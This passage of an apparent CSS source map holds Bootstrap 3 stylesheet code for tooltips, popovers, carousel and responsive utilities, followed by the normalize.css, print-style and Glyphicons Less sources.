#fff;\n text-align: center;\n background-color: #000;\n border-radius: 4px;\n}\n.tooltip-arrow {\n position: absolute;\n width: 0;\n height: 0;\n border-color: transparent;\n border-style: solid;\n}\n.tooltip.top .tooltip-arrow {\n bottom: 0;\n left: 50%;\n margin-left: -5px;\n border-width: 5px 5px 0;\n border-top-color: #000;\n}\n.tooltip.top-left .tooltip-arrow {\n bottom: 0;\n right: 5px;\n margin-bottom: -5px;\n border-width: 5px 5px 0;\n border-top-color: #000;\n}\n.tooltip.top-right .tooltip-arrow {\n bottom: 0;\n left: 5px;\n margin-bottom: -5px;\n border-width: 5px 5px 0;\n border-top-color: #000;\n}\n.tooltip.right .tooltip-arrow {\n top: 50%;\n left: 0;\n margin-top: -5px;\n border-width: 5px 5px 5px 0;\n border-right-color: #000;\n}\n.tooltip.left .tooltip-arrow {\n top: 50%;\n right: 0;\n margin-top: -5px;\n border-width: 5px 0 5px 5px;\n border-left-color: #000;\n}\n.tooltip.bottom .tooltip-arrow {\n top: 0;\n left: 50%;\n margin-left: -5px;\n border-width: 0 5px 5px;\n border-bottom-color: #000;\n}\n.tooltip.bottom-left .tooltip-arrow {\n top: 0;\n right: 5px;\n margin-top: -5px;\n border-width: 0 5px 5px;\n border-bottom-color: #000;\n}\n.tooltip.bottom-right .tooltip-arrow {\n top: 0;\n left: 5px;\n margin-top: -5px;\n border-width: 0 5px 5px;\n border-bottom-color: #000;\n}\n.popover {\n position: absolute;\n top: 0;\n left: 0;\n z-index: 1060;\n display: none;\n max-width: 276px;\n padding: 1px;\n font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n font-style: normal;\n font-weight: normal;\n letter-spacing: normal;\n line-break: auto;\n line-height: 1.42857143;\n text-align: left;\n text-align: start;\n text-decoration: none;\n text-shadow: none;\n text-transform: none;\n white-space: normal;\n word-break: normal;\n word-spacing: normal;\n word-wrap: normal;\n font-size: 14px;\n background-color: #fff;\n background-clip: padding-box;\n border: 1px solid #ccc;\n border: 1px solid rgba(0, 0, 0, 0.2);\n border-radius: 6px;\n -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n}\n.popover.top {\n margin-top: -10px;\n}\n.popover.right {\n margin-left: 10px;\n}\n.popover.bottom {\n margin-top: 10px;\n}\n.popover.left {\n margin-left: -10px;\n}\n.popover-title {\n margin: 0;\n padding: 8px 14px;\n font-size: 14px;\n background-color: #f7f7f7;\n border-bottom: 1px solid #ebebeb;\n border-radius: 5px 5px 0 0;\n}\n.popover-content {\n padding: 9px 14px;\n}\n.popover > .arrow,\n.popover > .arrow:after {\n position: absolute;\n display: block;\n width: 0;\n height: 0;\n border-color: transparent;\n border-style: solid;\n}\n.popover > .arrow {\n border-width: 11px;\n}\n.popover > .arrow:after {\n border-width: 10px;\n content: \"\";\n}\n.popover.top > .arrow {\n left: 50%;\n margin-left: -11px;\n border-bottom-width: 0;\n border-top-color: #999999;\n border-top-color: rgba(0, 0, 0, 0.25);\n bottom: -11px;\n}\n.popover.top > .arrow:after {\n content: \" \";\n bottom: 1px;\n margin-left: -10px;\n border-bottom-width: 0;\n border-top-color: #fff;\n}\n.popover.right > .arrow {\n top: 50%;\n left: -11px;\n margin-top: -11px;\n border-left-width: 0;\n border-right-color: #999999;\n border-right-color: rgba(0, 0, 0, 0.25);\n}\n.popover.right > .arrow:after {\n content: \" \";\n left: 1px;\n bottom: -10px;\n border-left-width: 0;\n border-right-color: #fff;\n}\n.popover.bottom > .arrow {\n left: 50%;\n margin-left: -11px;\n border-top-width: 0;\n border-bottom-color: #999999;\n border-bottom-color: rgba(0, 0, 0, 0.25);\n top: -11px;\n}\n.popover.bottom > .arrow:after {\n content: \" \";\n top: 1px;\n margin-left: -10px;\n border-top-width: 0;\n border-bottom-color: #fff;\n}\n.popover.left > .arrow {\n top: 50%;\n right: -11px;\n margin-top: -11px;\n border-right-width: 0;\n border-left-color: #999999;\n border-left-color: rgba(0, 0, 0, 0.25);\n}\n.popover.left > .arrow:after {\n content: \" \";\n right: 1px;\n border-right-width: 0;\n border-left-color: #fff;\n bottom: -10px;\n}\n.carousel {\n position: relative;\n}\n.carousel-inner {\n position: relative;\n overflow: hidden;\n width: 100%;\n}\n.carousel-inner > .item {\n display: none;\n position: relative;\n -webkit-transition: 0.6s ease-in-out left;\n -o-transition: 0.6s ease-in-out left;\n transition: 0.6s ease-in-out left;\n}\n.carousel-inner > .item > img,\n.carousel-inner > .item > a > img {\n line-height: 1;\n}\n@media all and (transform-3d), (-webkit-transform-3d) {\n .carousel-inner > .item {\n -webkit-transition: -webkit-transform 0.6s ease-in-out;\n -moz-transition: -moz-transform 0.6s ease-in-out;\n -o-transition: -o-transform 0.6s ease-in-out;\n transition: transform 0.6s ease-in-out;\n -webkit-backface-visibility: hidden;\n -moz-backface-visibility: hidden;\n backface-visibility: hidden;\n -webkit-perspective: 1000px;\n -moz-perspective: 1000px;\n perspective: 1000px;\n }\n .carousel-inner > .item.next,\n .carousel-inner > .item.active.right {\n -webkit-transform: translate3d(100%, 0, 0);\n transform: translate3d(100%, 0, 0);\n left: 0;\n }\n .carousel-inner > .item.prev,\n .carousel-inner > .item.active.left {\n -webkit-transform: translate3d(-100%, 0, 0);\n transform: translate3d(-100%, 0, 0);\n left: 0;\n }\n .carousel-inner > .item.next.left,\n .carousel-inner > .item.prev.right,\n .carousel-inner > .item.active {\n -webkit-transform: translate3d(0, 0, 0);\n transform: translate3d(0, 0, 0);\n left: 0;\n }\n}\n.carousel-inner > .active,\n.carousel-inner > .next,\n.carousel-inner > .prev {\n display: block;\n}\n.carousel-inner > .active {\n left: 0;\n}\n.carousel-inner > .next,\n.carousel-inner > .prev {\n position: absolute;\n top: 0;\n width: 100%;\n}\n.carousel-inner > .next {\n left: 100%;\n}\n.carousel-inner > .prev {\n left: -100%;\n}\n.carousel-inner > .next.left,\n.carousel-inner > .prev.right {\n left: 0;\n}\n.carousel-inner > .active.left {\n left: -100%;\n}\n.carousel-inner > .active.right {\n left: 100%;\n}\n.carousel-control {\n position: absolute;\n top: 0;\n left: 0;\n bottom: 0;\n width: 15%;\n opacity: 0.5;\n filter: alpha(opacity=50);\n font-size: 20px;\n color: #fff;\n text-align: center;\n text-shadow: 0 1px 2px rgba(0, 0, 0, 0.6);\n background-color: rgba(0, 0, 0, 0);\n}\n.carousel-control.left {\n background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%);\n background-image: -o-linear-gradient(left, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%);\n background-image: linear-gradient(to right, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1);\n}\n.carousel-control.right {\n left: auto;\n right: 0;\n background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%);\n background-image: -o-linear-gradient(left, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%);\n background-image: linear-gradient(to right, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1);\n}\n.carousel-control:hover,\n.carousel-control:focus {\n outline: 0;\n color: #fff;\n text-decoration: none;\n opacity: 0.9;\n filter: alpha(opacity=90);\n}\n.carousel-control .icon-prev,\n.carousel-control .icon-next,\n.carousel-control .glyphicon-chevron-left,\n.carousel-control .glyphicon-chevron-right {\n position: absolute;\n top: 50%;\n margin-top: -10px;\n z-index: 5;\n display: inline-block;\n}\n.carousel-control .icon-prev,\n.carousel-control .glyphicon-chevron-left {\n left: 50%;\n margin-left: -10px;\n}\n.carousel-control .icon-next,\n.carousel-control .glyphicon-chevron-right {\n right: 50%;\n margin-right: -10px;\n}\n.carousel-control .icon-prev,\n.carousel-control .icon-next {\n width: 20px;\n height: 20px;\n line-height: 1;\n font-family: serif;\n}\n.carousel-control .icon-prev:before {\n content: '\\2039';\n}\n.carousel-control .icon-next:before {\n content: '\\203a';\n}\n.carousel-indicators {\n position: absolute;\n bottom: 10px;\n left: 50%;\n z-index: 15;\n width: 60%;\n margin-left: -30%;\n padding-left: 0;\n list-style: none;\n text-align: center;\n}\n.carousel-indicators li {\n display: inline-block;\n width: 10px;\n height: 10px;\n margin: 1px;\n text-indent: -999px;\n border: 1px solid #fff;\n border-radius: 10px;\n cursor: pointer;\n background-color: #000 \\9;\n background-color: rgba(0, 0, 0, 0);\n}\n.carousel-indicators .active {\n margin: 0;\n width: 12px;\n height: 12px;\n background-color: #fff;\n}\n.carousel-caption {\n position: absolute;\n left: 15%;\n right: 15%;\n bottom: 20px;\n z-index: 10;\n padding-top: 20px;\n padding-bottom: 20px;\n color: #fff;\n text-align: center;\n text-shadow: 0 1px 2px rgba(0, 0, 0, 0.6);\n}\n.carousel-caption .btn {\n text-shadow: none;\n}\n@media screen and (min-width: 768px) {\n .carousel-control .glyphicon-chevron-left,\n .carousel-control .glyphicon-chevron-right,\n .carousel-control .icon-prev,\n .carousel-control .icon-next {\n width: 30px;\n height: 30px;\n margin-top: -10px;\n font-size: 30px;\n }\n .carousel-control .glyphicon-chevron-left,\n .carousel-control .icon-prev {\n margin-left: -10px;\n }\n .carousel-control .glyphicon-chevron-right,\n .carousel-control .icon-next {\n margin-right: -10px;\n }\n .carousel-caption {\n left: 20%;\n right: 20%;\n padding-bottom: 30px;\n }\n .carousel-indicators {\n bottom: 20px;\n }\n}\n.clearfix:before,\n.clearfix:after,\n.dl-horizontal dd:before,\n.dl-horizontal dd:after,\n.container:before,\n.container:after,\n.container-fluid:before,\n.container-fluid:after,\n.row:before,\n.row:after,\n.form-horizontal .form-group:before,\n.form-horizontal .form-group:after,\n.btn-toolbar:before,\n.btn-toolbar:after,\n.btn-group-vertical > .btn-group:before,\n.btn-group-vertical > .btn-group:after,\n.nav:before,\n.nav:after,\n.navbar:before,\n.navbar:after,\n.navbar-header:before,\n.navbar-header:after,\n.navbar-collapse:before,\n.navbar-collapse:after,\n.pager:before,\n.pager:after,\n.panel-body:before,\n.panel-body:after,\n.modal-header:before,\n.modal-header:after,\n.modal-footer:before,\n.modal-footer:after {\n content: \" \";\n display: table;\n}\n.clearfix:after,\n.dl-horizontal dd:after,\n.container:after,\n.container-fluid:after,\n.row:after,\n.form-horizontal .form-group:after,\n.btn-toolbar:after,\n.btn-group-vertical > .btn-group:after,\n.nav:after,\n.navbar:after,\n.navbar-header:after,\n.navbar-collapse:after,\n.pager:after,\n.panel-body:after,\n.modal-header:after,\n.modal-footer:after {\n clear: both;\n}\n.center-block {\n display: block;\n margin-left: auto;\n margin-right: auto;\n}\n.pull-right {\n float: right !important;\n}\n.pull-left {\n float: left !important;\n}\n.hide {\n display: none !important;\n}\n.show {\n display: block !important;\n}\n.invisible {\n visibility: hidden;\n}\n.text-hide {\n font: 0/0 a;\n color: transparent;\n text-shadow: none;\n background-color: transparent;\n border: 0;\n}\n.hidden {\n display: none !important;\n}\n.affix {\n position: fixed;\n}\n@-ms-viewport {\n width: device-width;\n}\n.visible-xs,\n.visible-sm,\n.visible-md,\n.visible-lg {\n display: none !important;\n}\n.visible-xs-block,\n.visible-xs-inline,\n.visible-xs-inline-block,\n.visible-sm-block,\n.visible-sm-inline,\n.visible-sm-inline-block,\n.visible-md-block,\n.visible-md-inline,\n.visible-md-inline-block,\n.visible-lg-block,\n.visible-lg-inline,\n.visible-lg-inline-block {\n display: none !important;\n}\n@media (max-width: 767px) {\n .visible-xs {\n display: block !important;\n }\n table.visible-xs {\n display: table !important;\n }\n tr.visible-xs {\n display: table-row !important;\n }\n th.visible-xs,\n td.visible-xs {\n display: table-cell !important;\n }\n}\n@media (max-width: 767px) {\n .visible-xs-block {\n display: block !important;\n }\n}\n@media (max-width: 767px) {\n .visible-xs-inline {\n display: inline !important;\n }\n}\n@media (max-width: 767px) {\n .visible-xs-inline-block {\n display: inline-block !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm {\n display: block !important;\n }\n table.visible-sm {\n display: table !important;\n }\n tr.visible-sm {\n display: table-row !important;\n }\n th.visible-sm,\n td.visible-sm {\n display: table-cell !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm-block {\n display: block !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm-inline {\n display: inline !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm-inline-block {\n display: inline-block !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md {\n display: block !important;\n }\n table.visible-md {\n display: table !important;\n }\n tr.visible-md {\n display: table-row !important;\n }\n th.visible-md,\n td.visible-md {\n display: table-cell !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md-block {\n display: block !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md-inline {\n display: inline !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md-inline-block {\n display: inline-block !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg {\n display: block !important;\n }\n table.visible-lg {\n display: table !important;\n }\n tr.visible-lg {\n display: table-row !important;\n }\n th.visible-lg,\n td.visible-lg {\n display: table-cell !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg-block {\n display: block !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg-inline {\n display: inline !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg-inline-block {\n display: inline-block !important;\n }\n}\n@media (max-width: 767px) {\n .hidden-xs {\n display: none !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .hidden-sm {\n display: none !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .hidden-md {\n display: none !important;\n }\n}\n@media (min-width: 1200px) {\n .hidden-lg {\n display: none !important;\n }\n}\n.visible-print {\n display: none !important;\n}\n@media print {\n .visible-print {\n display: block !important;\n }\n table.visible-print {\n display: table !important;\n }\n tr.visible-print {\n display: table-row !important;\n }\n th.visible-print,\n td.visible-print {\n display: table-cell !important;\n }\n}\n.visible-print-block {\n display: none !important;\n}\n@media print {\n .visible-print-block {\n display: block !important;\n }\n}\n.visible-print-inline {\n display: none !important;\n}\n@media print {\n .visible-print-inline {\n display: inline !important;\n }\n}\n.visible-print-inline-block {\n display: none !important;\n}\n@media print {\n .visible-print-inline-block {\n display: inline-block !important;\n }\n}\n@media print {\n .hidden-print {\n display: none !important;\n }\n}\n/*# sourceMappingURL=bootstrap.css.map */","/*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */\n\n//\n// 1. Set default font family to sans-serif.\n// 2. Prevent iOS and IE text size adjust after device orientation change,\n// without disabling user zoom.\n//\n\nhtml {\n font-family: sans-serif; // 1\n -ms-text-size-adjust: 100%; // 2\n -webkit-text-size-adjust: 100%; // 2\n}\n\n//\n// Remove default margin.\n//\n\nbody {\n margin: 0;\n}\n\n// HTML5 display definitions\n// ==========================================================================\n\n//\n// Correct `block` display not defined for any HTML5 element in IE 8/9.\n// Correct `block` display not defined for `details` or `summary` in IE 10/11\n// and Firefox.\n// Correct `block` display not defined for `main` in IE 11.\n//\n\narticle,\naside,\ndetails,\nfigcaption,\nfigure,\nfooter,\nheader,\nhgroup,\nmain,\nmenu,\nnav,\nsection,\nsummary {\n display: block;\n}\n\n//\n// 1. Correct `inline-block` display not defined in IE 8/9.\n// 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.\n//\n\naudio,\ncanvas,\nprogress,\nvideo {\n display: inline-block; // 1\n vertical-align: baseline; // 2\n}\n\n//\n// Prevent modern browsers from displaying `audio` without controls.\n// Remove excess height in iOS 5 devices.\n//\n\naudio:not([controls]) {\n display: none;\n height: 0;\n}\n\n//\n// Address `[hidden]` styling not present in IE 8/9/10.\n// Hide the `template` element in IE 8/9/10/11, Safari, and Firefox < 22.\n//\n\n[hidden],\ntemplate {\n display: none;\n}\n\n// Links\n// ==========================================================================\n\n//\n// Remove the gray background color from active links in IE 10.\n//\n\na {\n background-color: transparent;\n}\n\n//\n// Improve readability of focused elements when they are also in an\n// active/hover state.\n//\n\na:active,\na:hover {\n outline: 0;\n}\n\n// Text-level semantics\n// ==========================================================================\n\n//\n// Address styling not present in IE 8/9/10/11, Safari, and Chrome.\n//\n\nabbr[title] {\n border-bottom: 1px dotted;\n}\n\n//\n// Address style set to `bolder` in Firefox 4+, Safari, and Chrome.\n//\n\nb,\nstrong {\n font-weight: bold;\n}\n\n//\n// Address styling not present in Safari and Chrome.\n//\n\ndfn {\n font-style: italic;\n}\n\n//\n// Address variable `h1` font-size and margin within `section` and `article`\n// contexts in Firefox 4+, Safari, and Chrome.\n//\n\nh1 {\n font-size: 2em;\n margin: 0.67em 0;\n}\n\n//\n// Address styling not present in IE 8/9.\n//\n\nmark {\n background: #ff0;\n color: #000;\n}\n\n//\n// Address inconsistent and variable font size in all browsers.\n//\n\nsmall {\n font-size: 80%;\n}\n\n//\n// Prevent `sub` and `sup` affecting `line-height` in all browsers.\n//\n\nsub,\nsup {\n font-size: 75%;\n line-height: 0;\n position: relative;\n vertical-align: baseline;\n}\n\nsup {\n top: -0.5em;\n}\n\nsub {\n bottom: -0.25em;\n}\n\n// Embedded content\n// ==========================================================================\n\n//\n// Remove border when inside `a` element in IE 8/9/10.\n//\n\nimg {\n border: 0;\n}\n\n//\n// Correct overflow not hidden in IE 9/10/11.\n//\n\nsvg:not(:root) {\n overflow: hidden;\n}\n\n// Grouping content\n// ==========================================================================\n\n//\n// Address margin not present in IE 8/9 and Safari.\n//\n\nfigure {\n margin: 1em 40px;\n}\n\n//\n// Address differences between Firefox and other browsers.\n//\n\nhr {\n box-sizing: content-box;\n height: 0;\n}\n\n//\n// Contain overflow in all browsers.\n//\n\npre {\n overflow: auto;\n}\n\n//\n// Address odd `em`-unit font size rendering in all browsers.\n//\n\ncode,\nkbd,\npre,\nsamp {\n font-family: monospace, monospace;\n font-size: 1em;\n}\n\n// Forms\n// ==========================================================================\n\n//\n// Known limitation: by default, Chrome and Safari on OS X allow very limited\n// styling of `select`, unless a `border` property is set.\n//\n\n//\n// 1. Correct color not being inherited.\n// Known issue: affects color of disabled elements.\n// 2. Correct font properties not being inherited.\n// 3. Address margins set differently in Firefox 4+, Safari, and Chrome.\n//\n\nbutton,\ninput,\noptgroup,\nselect,\ntextarea {\n color: inherit; // 1\n font: inherit; // 2\n margin: 0; // 3\n}\n\n//\n// Address `overflow` set to `hidden` in IE 8/9/10/11.\n//\n\nbutton {\n overflow: visible;\n}\n\n//\n// Address inconsistent `text-transform` inheritance for `button` and `select`.\n// All other form control elements do not inherit `text-transform` values.\n// Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.\n// Correct `select` style inheritance in Firefox.\n//\n\nbutton,\nselect {\n text-transform: none;\n}\n\n//\n// 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`\n// and `video` controls.\n// 2. Correct inability to style clickable `input` types in iOS.\n// 3. Improve usability and consistency of cursor style between image-type\n// `input` and others.\n//\n\nbutton,\nhtml input[type=\"button\"], // 1\ninput[type=\"reset\"],\ninput[type=\"submit\"] {\n -webkit-appearance: button; // 2\n cursor: pointer; // 3\n}\n\n//\n// Re-set default cursor for disabled elements.\n//\n\nbutton[disabled],\nhtml input[disabled] {\n cursor: default;\n}\n\n//\n// Remove inner padding and border in Firefox 4+.\n//\n\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n border: 0;\n padding: 0;\n}\n\n//\n// Address Firefox 4+ setting `line-height` on `input` using `!important` in\n// the UA stylesheet.\n//\n\ninput {\n line-height: normal;\n}\n\n//\n// It's recommended that you don't attempt to style these elements.\n// Firefox's implementation doesn't respect box-sizing, padding, or width.\n//\n// 1. Address box sizing set to `content-box` in IE 8/9/10.\n// 2. Remove excess padding in IE 8/9/10.\n//\n\ninput[type=\"checkbox\"],\ninput[type=\"radio\"] {\n box-sizing: border-box; // 1\n padding: 0; // 2\n}\n\n//\n// Fix the cursor style for Chrome's increment/decrement buttons. For certain\n// `font-size` values of the `input`, it causes the cursor style of the\n// decrement button to change from `default` to `text`.\n//\n\ninput[type=\"number\"]::-webkit-inner-spin-button,\ninput[type=\"number\"]::-webkit-outer-spin-button {\n height: auto;\n}\n\n//\n// 1. Address `appearance` set to `searchfield` in Safari and Chrome.\n// 2. Address `box-sizing` set to `border-box` in Safari and Chrome.\n//\n\ninput[type=\"search\"] {\n -webkit-appearance: textfield; // 1\n box-sizing: content-box; //2\n}\n\n//\n// Remove inner padding and search cancel button in Safari and Chrome on OS X.\n// Safari (but not Chrome) clips the cancel button when the search input has\n// padding (and `textfield` appearance).\n//\n\ninput[type=\"search\"]::-webkit-search-cancel-button,\ninput[type=\"search\"]::-webkit-search-decoration {\n -webkit-appearance: none;\n}\n\n//\n// Define consistent border, margin, and padding.\n//\n\nfieldset {\n border: 1px solid #c0c0c0;\n margin: 0 2px;\n padding: 0.35em 0.625em 0.75em;\n}\n\n//\n// 1. Correct `color` not being inherited in IE 8/9/10/11.\n// 2. Remove padding so people aren't caught out if they zero out fieldsets.\n//\n\nlegend {\n border: 0; // 1\n padding: 0; // 2\n}\n\n//\n// Remove default vertical scrollbar in IE 8/9/10/11.\n//\n\ntextarea {\n overflow: auto;\n}\n\n//\n// Don't inherit the `font-weight` (applied by a rule above).\n// NOTE: the default cannot safely be changed in Chrome and Safari on OS X.\n//\n\noptgroup {\n font-weight: bold;\n}\n\n// Tables\n// ==========================================================================\n\n//\n// Remove most spacing between table cells.\n//\n\ntable {\n border-collapse: collapse;\n border-spacing: 0;\n}\n\ntd,\nth {\n padding: 0;\n}\n","/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */\n\n// ==========================================================================\n// Print styles.\n// Inlined to avoid the additional HTTP request: h5bp.com/r\n// ==========================================================================\n\n@media print {\n *,\n *:before,\n *:after {\n background: transparent !important;\n color: #000 !important; // Black prints faster: h5bp.com/s\n box-shadow: none !important;\n text-shadow: none !important;\n }\n\n a,\n a:visited {\n text-decoration: underline;\n }\n\n a[href]:after {\n content: \" (\" attr(href) \")\";\n }\n\n abbr[title]:after {\n content: \" (\" attr(title) \")\";\n }\n\n // Don't show links that are fragment identifiers,\n // or use the `javascript:` pseudo protocol\n a[href^=\"#\"]:after,\n a[href^=\"javascript:\"]:after {\n content: \"\";\n }\n\n pre,\n blockquote {\n border: 1px solid #999;\n page-break-inside: avoid;\n }\n\n thead {\n display: table-header-group; // h5bp.com/t\n }\n\n tr,\n img {\n page-break-inside: avoid;\n }\n\n img {\n max-width: 100% !important;\n }\n\n p,\n h2,\n h3 {\n orphans: 3;\n widows: 3;\n }\n\n h2,\n h3 {\n page-break-after: avoid;\n }\n\n // Bootstrap specific changes start\n\n // Bootstrap components\n .navbar {\n display: none;\n }\n .btn,\n .dropup > .btn {\n > .caret {\n border-top-color: #000 !important;\n }\n }\n .label {\n border: 1px solid #000;\n }\n\n .table {\n border-collapse: collapse !important;\n\n td,\n th {\n background-color: #fff !important;\n }\n }\n .table-bordered {\n th,\n td {\n border: 1px solid #ddd !important;\n }\n }\n\n // Bootstrap specific changes end\n}\n","//\n// Glyphicons for Bootstrap\n//\n// Since icons are fonts, they can be placed anywhere text is placed and are\n// thus automatically sized to match the surrounding child. To use, create an\n// inline element with the appropriate classes, like so:\n//\n// Star\n\n// Import the fonts\n@font-face {\n font-family: 'Glyphicons Halflings';\n src: url('@{icon-font-path}@{icon-font-name}.eot');\n src: url('@{icon-font-path}@{icon-font-name}.eot?#iefix') format('embedded-opentype'),\n url('@{icon-font-path}@{icon-font-name}.woff2') format('woff2'),\n url('@{icon-font-path}@{icon-font-name}.woff') format('woff'),\n url('@{icon-font-path}@{icon-font-name}.ttf') format('truetype'),\n url('@{icon-font-path}@{icon-font-name}.svg#@{icon-font-svg-id}') format('svg');\n}\n\n// Catchall baseclass\n.glyphicon {\n position: relative;\n top: 1px;\n display: inline-block;\n font-family: 'Glyphicons Halflings';\n font-style: normal;\n font-weight: normal;\n line-height: 1;\n -webkit-font-smoothing: antialiased;\n -moz-osx-font-smoothing: grayscale;\n}\n\n// Individual icons\n.glyphicon-asterisk { &:before { content: \"\\002a\"; } }\n.glyphicon-plus { &:before { content: \"\\002b\"; } }\n.glyphicon-euro,\n.glyphicon-eur { &:before { content: \"\\20ac\"; } }\n.glyphicon-minus { &:before { content: \"\\2212\"; } }\n.glyphicon-cloud { &:before { content: \"\\2601\"; } }\n.glyphicon-envelope { &:before { content: \"\\2709\"; } }\n.glyphicon-pencil { &:before { content: \"\\270f\"; } }\n.glyphicon-glass { &:before { content: \"\\e001\"; } }\n.glyphicon-music { &:before { content: \"\\e002\"; } }\n.glyphicon-search { &:before { content: \"\\e003\"; } }\n.glyphicon-heart { &:before { content: \"\\e005\"; } }\n.glyphicon-star { &:before { content: \"\\e006\"; } }\n.glyphicon-star-empty { &:before { content: \"\\e007\"; } }\n.glyphicon-user { &:before { content: \"\\e008\"; } }\n.glyphicon-film { &:before { content: \"\\e009\"; } }\n.glyphicon-th-large { &:before { content: \"\\e010\"; } }\n.glyphicon-th { &:before { content: \"\\e011\"; } }\n.glyphicon-th-list { &:before { content: \"\\e012\"; } }\n.glyphicon-ok { &:before { content: \"\\e013\"; } }\n.glyphicon-remove { &:before { content: \"\\e014\"; } }\n.glyphicon-zoom-in { &:before { content: \"\\e015\"; } }\n.glyphicon-zoom-out { &:before { content: \"\\e016\"; } }\n.glyphicon-off { &:before { content: \"\\e017\"; } }\n.glyphicon-signal { &:before { content: \"\\e018\"; } }\n.glyphicon-cog { &:before { content: \"\\e019\"; } }\n.glyphicon-trash { &:before { content: \"\\e020\"; } }\n.glyphicon-home { &:before { content: \"\\e021\"; } }\n.glyphicon-file { &:before { content: \"\\e022\"; } }\n.glyphicon-time { &:before { content: \"\\e023\"; } }\n.glyphicon-road { &:before { content: \"\\e024\"; } }\n.glyphicon-download-alt { &:before { content: \"\\e025\"; } }\n.glyphicon-download { &:before { content: \"\\e026\"; } }\n.glyphicon-upload { &:before { content: \"\\e027\"; } }\n.glyphicon-inbox { &:before { content: \"\\e028\"; } }\n.glyphicon-play-circle { &:before { content: \"\\e029\"; } }\n.glyphicon-repeat { &:before { content: \"\\e030\"; } }\n.glyphicon-refresh { &:before { content: \"\\e031\"; } }\n.glyphicon-list-alt { &:before { content: \"\\e032\"; } }\n.glyphicon-lock { &:before { content: \"\\e033\"; } }\n.glyphicon-flag { &:before { content: \"\\e034\"; } }\n.glyphicon-headphones { &:before { content: \"\\e035\"; } }\n.glyphicon-volume-off { &:before { content: \"\\e036\"; } }\n.glyphicon-volume-down { &:before { content: \"\\e037\"; } }\n.glyphicon-volume-up { &:before { content: \"\\e038\"; } }\n.glyphicon-qrcode { &:before { content: \"\\e039\"; } }\n.glyphicon-barcode { &:before { content: \"\\e040\"; } }\n.glyphicon-tag { &:before { content: \"\\e041\"; } }\n.glyphicon-tags { &:before { content: \"\\e042\"; } }\n.glyphicon-book { &:before { content: \"\\e043\"; } }\n.glyphicon-bookmark { &:before { content: \"\\e044\"; } }\n.glyphicon-print { &:before { content: \"\\e045\"; } }\n.glyphicon-camera { &:before { content: \"\\e046\"; } }\n.glyphicon-font { &:before { content: \"\\e047\"; } }\n.glyphicon-bold { &:before { content: \"\\e048\"; } }\n.glyphicon-italic { &:before { content: \"\\e049\"; } }\n.glyphicon-text-height { &:before { content: \"\\e050\"; } }\n.glyphicon-text-width { &:before { content: \"\\e051\"; } }\n.glyphicon-align-left { &:before { content: \"\\e052\"; } }\n.glyphicon-align-center { &:before { content: \"\\e053\"; } }\n.glyphicon-align-right { &:before { content: \"\\e054\"; } }\n.glyphicon-align-justify { &:before { content: \"\\e055\"; } }\n.glyphicon-list { &:before { content: \"\\e056\"; } }\n.glyphicon-indent-left { &:before { content: \"\\e057\"; } }\n.glyphicon-indent-right { &:before { content: \"\\e058\"; } }\n.glyphicon-facetime-video { &:before { content: \"\\e059\"; } }\n.glyphicon-picture { &:before { content: \"\\e060\"; } }\n.glyphicon-map-marker { &:before { content: \"\\e062\"; } }\n.glyphicon-adjust { &:before { content: \"\\e063\"; } }\n.glyphicon-tint { &:before { content: \"\\e064\"; } }\n.glyphicon-edit { &:before { content: \"\\e065\"; } }\n.glyphicon-share { &:before { content: \"\\e066\"; } }\n.glyphicon-check { &:before { content: \"\\e067\"; } }\n.glyphicon-move { &:before { content: \"\\e068\"; } }\n.glyphicon-step-backward { &:before { content: \"\\e069\"; } }\n.glyphicon-fast-backward { &:before { content: \"\\e070\"; } }\n.glyphicon-backward { &:before { content: \"\\e071\"; } }\n.glyphicon-play { &:before { content: \"\\e072\"; } }\n.glyphicon-pause { &:before { content: \"\\e073\"; } }\n.glyphicon-stop { &:before { content: \"\\e074\"; } }\n.glyphicon-forward { &:before { content: \"\\e075\"; } }\n.glyphicon-fast-forward { &:before { content: \"\\e076\"; } }\n.glyphicon-step-forward { &:before { content: \"\\e077\"; } }\n.glyphicon-eject { &:before { content: \"\\e078\"; } }\n.glyphicon-chevron-left { &:before { content: \"\\e079\"; } }\n.glyphicon-chevron-right { &:before { content: \"\\e080\"; } }\n.glyphicon-plus-sign { &:before { content: \"\\e081\"; } }\n.glyphicon-minus-sign { &:before { content: \"\\e082\"; } }\n.glyphicon-remove-sign { &:before { content: \"\\e083\"; } 